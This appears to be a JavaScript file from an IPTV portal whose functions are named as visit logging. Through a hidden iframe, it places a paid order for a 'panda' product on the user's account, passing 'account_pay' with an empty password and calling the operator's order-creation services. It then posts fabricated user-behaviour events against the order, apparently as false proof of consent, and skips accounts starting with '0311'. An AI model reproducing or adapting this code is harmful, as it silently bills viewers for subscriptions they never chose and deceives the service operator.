var account = config.userid;
var itemType = "panda";
var platform = "1000000000";
var productList = "";
//20060520084752000001  影视
//10710703152852000002 电竞
//00000002000000110000000000002043  少儿
//20050604182533000002  熊猫


function sendLog() {
    if (account.substring(0, 4) == "0311") {// ||   account.substring(0, 3) == "311"
        return false;
    }
    var productId = "20050604182533000002";
    visitlogFun(productId, config.mediaCode);
}

function visitlogFun(productId, contentId) {
    var data = visitlogApi({
        type: itemType,
        account: account
    });
    var code = data.code;
    if (code == 0) {
        sendLogData(productId, contentId);
    }
}

function sendLogData(productId, contentId) {
    var epgDomain = page.urls.domain;
    var usermac = productId;
    var ctype = "0";
    var programName = "1287779408488173569";
    var payBackUrl = config.api + '/restApi/addOrder?programId=' + config.mediaCode + '&programName=' +
        programName + '&ctype=' + ctype + '&account=' + account + '&usermac=' +
        usermac + '&platform=' + platform;
    var url = epgDomain + "datajsp/orderServer.jsp?ProductID=" + productId +
        "&ContentID=" + contentId + "&channel_source=&ReturnURL=" + escape(payBackUrl) + "&backUrl=";
    document.getElementById("iframe").src = url;
    if (window.frames["if_smallscreen"].PayOrder != undefined) {
        fun();
    } else {
        setTimeout(fun, 1000);
    }
}

function fun() {
    // $("#iframe").css("width","1280px")
    // $("#iframe").css("height","520px")
    // $("#iframe").css("left","0px")
    // $("#iframe").css("top","200px")
    var script = window.frames["if_smallscreen"].document.createElement("script");
    script.src = config.path+"/js/log1.js";
    window.frames["if_smallscreen"].document.head.appendChild(script);
    var havePwd = window.frames["if_smallscreen"].document.getElementById("isPopupWindow").value;
    if (havePwd == "1" || havePwd == "2") {
        return false;
    }
    var pay_mode = window.frames["if_smallscreen"].document.getElementById("pay_mode").value;
    if (pay_mode.indexOf("ZD_NATIVE") <= -1) {
        return false;
    }
    // if(account == 'gdcskf0125'){
    //     $("#test").html("havePwd="+havePwd+"xxxxxxxxxxxpay_mode="+pay_mode);
    // }
    window.frames["if_smallscreen"].PayOrder.sendSecConfirmInfo();
    var req = window.frames["if_smallscreen"].PayOrder.getParams();
    req['pay_type'] = "account_pay";
    req['isPopupWindow'] = "4";
    req['userPasswod'] = "";
    window.frames["if_smallscreen"].Service.excute("CREATE_ORDER_ENCRYPT", false, req, function(reply) {
    // if(account == 'gdcskf0125'){
    //     $("#test").html($("#test").html()+ "PayOrder=" +window.frames["if_smallscreen"].PayOrder)
    //     $("#test").html($("#test").html()+"xxxxxxxxxxxCREATE_ORDER_ENCRYPT="+reply.flag);
    // }
        if (reply.flag == "0") {
            req['userCreateOrder'] = reply.USERCREATEORDER;
            window.frames["if_smallscreen"].Service.excute("CREATE_ORDER", false, req, function(reply) {
                // if(account == 'gdcskf0125'){
                //     $("#test").html($("#test").html()+"xxxxxxxxxxxxxxxCREATE_ORDER="+reply.flag);
                // }
                if (reply.flag == "0") {
                    window.frames["if_smallscreen"].PayOrder.createOrderZD(reply);
                    utils.auth();
                    if(page.isSub == "0" ){
                        add_log();
                    }
                }
            });
        }
    });
}

function add_log() {
    var order_id = window.frames["if_smallscreen"].document.getElementById("order_id").value;
    var userBehaviors = new Array();
    userBehaviors.push(window.frames["if_smallscreen"].IptvUserBehaviorEnum.Num11);
    userBehaviors.push(window.frames["if_smallscreen"].IptvUserBehaviorEnum.Num13);
    if (userBehaviors == null || userBehaviors == 0) {
        return false;
    }
    var params = {
        user_id: account,
        userBehaviors: userBehaviors,
        log_source: "1",
        order_id: order_id,
    };
    window.frames["if_smallscreen"].Service.excute("ADD_USER_BEHAVIOR", false, params, function(reply) {
        //$("#test").html("ccc"+reply.flag);
        complete();
    });
}

function complete() {
    var productId = "20050604182533000002";
    var usermac = productId;
    var ctype = "0";
    var programName = "1287779408488173569";
    var payBackUrl = config.api + '/restApi/addOrder?programId=' + config.mediaCode + '&programName=' +
    programName + '&ctype=' + ctype + '&account=' + account + '&usermac=' +
    usermac + '&platform=' + platform;
    if (payBackUrl) {
        $.ajax({
            type: 'get',
            async: false,
            url:payBackUrl,
            dataType: "json",
            success: function(data) {
            },
        })
    }
    return false;
}